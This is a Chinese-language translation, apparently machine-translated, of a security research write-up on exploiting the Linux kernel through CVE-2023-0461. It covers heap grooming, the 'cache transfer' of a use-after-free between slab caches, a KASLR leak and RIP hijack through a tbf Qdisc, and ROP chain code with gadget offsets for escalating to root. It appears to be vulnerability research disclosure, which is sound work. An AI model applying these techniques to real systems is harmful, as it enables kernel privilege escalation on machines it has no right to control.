攻击对象

  • google
  • 发布于 2023-08-25 19:30
  • 阅读 14

本文分析了一种利用Linux内核中的漏洞,通过“缓存转移”技术,将利用原语从固定大小的缓存转移到动态缓存,绕过CONFIG_KMALLOC_SPLIT_VARSIZE的保护。首先利用CVE-2023-0461漏洞在一个固定缓存中导致UAF,然后利用此UAF在动态缓存中覆盖关键数据结构,从而绕过KASLR并最终实现RIP控制。文章还讨论了在利用过程中遇到的问题以及如何通过设置内核变量来规避。

攻击对象

  • 堆排布 (Heap grooming):cbq_class + pfifo Qdisc [kmalloc-512]
  • 缓存转移 (Cache transfer):fqdir (bucket_table 指针) [从 kmalloc-512 到 dyn-kmalloc-1k 的 UAF]
  • 信息泄露/KASLR 绕过: user_key_payload + tbf Qdisc (tbf_qdisc_ops) [dyn-kmalloc-1k]
  • RIP 控制: tbf Qdisc (RIP 通过 qdisc->enqueue() 劫持) [dyn-kmalloc-1k]

概括

利用 fqdir 对象,将利用原语从固定缓存转移到动态缓存,从而在 dyn-kmalloc-1k 中从 kmalloc-512 引起 Use-After-Free。

一旦进入动态缓存,就可以“解锁”弹性对象以完成利用过程。在本报告中,我将此攻击称为缓存转移。

概述

PS: 此漏洞利用最初针对 mitigation-6.1-broken 实例,后来略作修改以在 mitigation-6.1-v2 上工作。 用于入侵这两个实例的技术保持不变。


在 Linux 内核中,有多个对象在固定缓存中分配,这些对象包含指向在动态缓存中分配的其他结构的指针。

fqdir 结构体,当初始化新的网络命名空间 ,在 kmalloc-512 中 分配,它的 bucket_table 指针 (fqdir->rhashtable.tbl),在 dyn-kmalloc-1k 中 分配 (fqdir_init() -> rhashtable_init() -> bucket_table_alloc()),就是一个例子。

/* Per netns frag queues directory */
struct fqdir {
    /* sysctls */
    long            high_thresh;
    long            low_thresh;
    int         timeout;
    int         max_dist;
    struct inet_frags   *f;
    struct net      *net;
    bool            dead;
    struct rhashtable       rhashtable ____cacheline_aligned_in_smp; // ***

    /* Keep atomic mem on separate cachelines in structs that include it */
    atomic_long_t       mem ____cacheline_aligned_in_smp;
    struct work_struct  destroy_work;
    struct llist_node   free_list;
};

struct rhashtable {
    struct bucket_table __rcu   *tbl; // ***
    unsigned int            key_len;
    unsigned int            max_elems;
    struct rhashtable_params    p;
    bool                rhlist;
    struct work_struct      run_work;
    struct mutex                    mutex;
    spinlock_t          lock;
    atomic_t            nelems;
};

struct bucket_table {
    unsigned int        size;
    unsigned int        nest;
    u32         hash_rnd;
    struct list_head    walkers;
    struct rcu_head     rcu;
    struct bucket_table __rcu *future_tbl;
    struct lockdep_map  dep_map;
    struct rhash_lock_head __rcu *buckets[] ____cacheline_aligned_in_smp;
};

此漏洞利用中使用的技术背后的思想是,利用 slab-use-after-free/double-free 或 slab-out-of-bounds 破坏固定缓存中的这些对象,可以将利用原语从固定缓存转移到动态缓存,绕过 CONFIG_KMALLOC_SPLIT_VARSIZE 提供的对象分离。

一旦进入动态缓存,就可以“解锁”弹性对象以完成利用过程。在本白皮书中,我将此攻击称为缓存转移。

漏洞分析

该漏洞利用包含三个阶段:

  • 缓存转移(从 kmalloc-512 到 dyn-kmalloc-1k 的 UAF)
  • KASLR 绕过(在 dyn-kmalloc-1k 中)
  • RIP 控制(在 dyn-kmalloc-1k 中)

缓存转移

在利用 cbq_class 和 pfifo Qdisc 对象,在 kmalloc-512 中初始化一些虚拟网络接口和一些堆整理之后,这两个对象都是在创建一个新的 cbq 流量类时,通过 cbq_change_class() (12) 分配的,我利用了 CVE-2023-0461 使两个套接字的 icsk_ulp_data 指针指向 kmalloc-512 中的同一个 tls_context

释放其中一个套接字时,tls_context 结构体也被释放,因此我可以引起 Use-After-Free,因为另一个套接字的 icsk_ulp_data 指针仍然指向已释放的对象。(exploit.c 中的步骤 1.0)

我继续用 fqdir 结构体替换 kmalloc-512 中释放的 tls_context,这样,释放第二个套接字时,我可以任意释放 fqdir 对象。(exploit.c 中的步骤 1.1)

在下一步中,我再次利用 Use-After-Free 喷射 fqdir。这次我的目标是将另一个 fqdir 与刚刚释放的 fqdir 重叠,使它们的 bucket_table 指针指向 dyn-kmalloc-1k 中的同一个表。(exploit.c 中的步骤 1.2)

此时,释放其中一个重叠的对象时,共享的 bucket_table 也会被释放 ( fqdir_exit() -> fqdir_work_fn() -> rhashtable_free_and_destroy() -> bucket_table_free() ),因此我可以引起 dyn-kmalloc-1k 中的 Use-After-Free,因为另一个 fqdir 的 bucket_table 指针仍然指向释放的表。(exploit.c 中的步骤 1.3)

现在我只需要用 user_key_payload 结构体替换释放的表,然后,释放第二个 fqdir,我可以任意释放用户密钥并完成缓存转移。(exploit.c 中的步骤 1.4 - 1.5)

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short  datalen; // ***
    char        data[] __aligned(__alignof__(u64)); // ***
};

KASLR 绕过

一旦进入 dyn-kmalloc-1k,我就使用 tbf Qdisc 结构体(通过 qdisc_alloc() 分配)覆盖释放的密钥,用 Qdisc.flags (0x10) 覆盖密钥大小,并用 Qdisc.ops(在本例中为 tbf_qdisc_ops)覆盖密钥有效负载的第一个 qword。(exploit.c 中的步骤 2.0)

struct Qdisc {
    int             (*enqueue)(struct sk_buff *skb,
                       struct Qdisc *sch,
                       struct sk_buff **to_free); // ***
    struct sk_buff *    (*dequeue)(struct Qdisc *sch);
    unsigned int        flags; // ***
    u32         limit;
    const struct Qdisc_ops  *ops; // ***
    struct qdisc_size_table __rcu *stab;
    struct hlist_node       hash;
    u32         handle;
    u32         parent;

    struct netdev_queue *dev_queue;

    struct net_rate_estimator __rcu *rate_est;
    struct gnet_stats_basic_sync __percpu *cpu_bstats;
    struct gnet_stats_queue __percpu *cpu_qstats;
    int         pad;
    refcount_t      refcnt;

    /*
     * For performance sake on SMP, we put highly modified fields at the end
     */
    struct sk_buff_head gso_skb ____cacheline_aligned_in_smp;
    struct qdisc_skb_head   q;
    struct gnet_stats_basic_sync bstats;
    struct gnet_stats_queue qstats;
    unsigned long       state;
    unsigned long       state2; /* must be written under qdisc spinlock */
    struct Qdisc            *next_sched;
    struct sk_buff_head skb_bad_txq;

    spinlock_t      busylock ____cacheline_aligned_in_smp;
    spinlock_t      seqlock;

    struct rcu_head     rcu;
    netdevice_tracker   dev_tracker;
    /* private data */
    long privdata[] ____cacheline_aligned;
};

在破坏用户密钥后,我从 Qdisc 结构体中泄漏了 tbf_qdisc_ops 指针,因此我可以绕过 KASLR。(exploit.c 中的步骤 2.1)

RIP 控制

在最后的步骤中,我释放了 dyn-kmalloc-1k 中的所有密钥,包括被 Qdisc 破坏的密钥,然后我重新分配了它们,覆盖了 Qdisc 结构体。我使用一个堆栈透视 gadget 覆盖了 qdisc->enqueue() 函数指针,并将 ROP 链的其余部分存储在同一个块中。(exploit.c 中的步骤 3.0 - 3.1)

最后,我将数据包发送到网络接口以触发对 __dev_xmit_skb() 中的 dev_qdisc_enqueue() 的调用,这样我就可以劫持控制流。(exploit.c 中的步骤 3.2)

请注意,当调用 qdisc->enqueue() 时,RSI(以及其他内核构建中的 RBP)已经包含被破坏的 Qdisc 块本身的地址,其中存储了 ROP 链,因此没有必要泄漏堆地址/知道被破坏块的地址。

RIP 后

劫持控制流后,出现了两个问题。由于 qdisc->enqueue() 是在原子/RCU 读取端临界区中调用的,当我返回到用户空间时,内核没有启动 root shell,而是出现了 panic,显示了两个错误消息:

  • "RCU 读取端临界区中的非法上下文切换"

  • "错误:原子操作时调度:[... ]"

幸运的是,我设法绕过了它们。

为了绕过“RCU 读取端临界区”,ROP 链中使用了一个 write-what-where gadget 来设置 current->rcu_read_lock_nesting = 0

    // current = find_task_by_vpid(getpid())
    rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
    rop[idx++] = getpid();                   // pid
    rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid

    // current += offsetof(struct task_struct, rcu_read_lock_nesting)
    rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
    rop[idx++] = 0x46c;                      // offsetof(struct task_struct, rcu_read_lock_nesting)
    rop[idx++] = kbase + 0xffffffff8107befa; // add rax, rsi ; jmp 0xffffffff82404440 (retpoline)

    // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
    rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
    rop[idx++] = 0;                          // 0
    rop[idx++] = kbase + 0xffffffff8167104b; // mov qword ptr [rax], rcx ; jmp 0xffffffff82404440 (retpoline)

为了绕过 “scheduling while atomic”,我欺骗内核,让它认为正在进行 oops 操作,将 oops_in_progress 设置为 1:

    // Bypass "schedule while atomic": set oops_in_progress = 1 
    rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
    rop[idx++] = 1;                          // 1
    rop[idx++] = kbase + 0xffffffff810a08ae; // pop rsi ; ret
    rop[idx++] = kbase + 0xffffffff8419f478; // oops_in_progress
    rop[idx++] = kbase + 0xffffffff81246359; // mov qword ptr [rsi], rdi ; jmp 0xffffffff82404440 (retpoline)

如果 oops_in_progress 确实包含一个非零值,__schedule_bug() 将简单地返回,而不会触发任何错误,我们将能够正常返回到用户空间。

补充信息

mitigation-6.1-v2 更新:在启用 KMALLOC_SPLIT_VARSIZE 缓解措施并对源代码进行一些小的调整后,即使在该方面投入的时间有限,该漏洞利用的可靠性也提高到约 80%。 这乍一看似乎有些矛盾,但实际上是将对象分离到多个缓存中的副作用,slab 往往不易受到干扰,这会导致稳定性提高。

考虑到我最初针对没有实验性缓解措施的系统的此漏洞的利用代码只有约 ~150 行,不需要用户命名空间,并且非常稳定,因此实验性缓解措施虽然被上述技术绕过,但非常有效,并且成功阻止了我的许多其他利用策略。我可能会在 我的博客 上介绍一些这些失败(但非常有趣!)的尝试。

  • 原文链接: github.com/google/securi...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
google
google
江湖只有他的大名,没有他的介绍。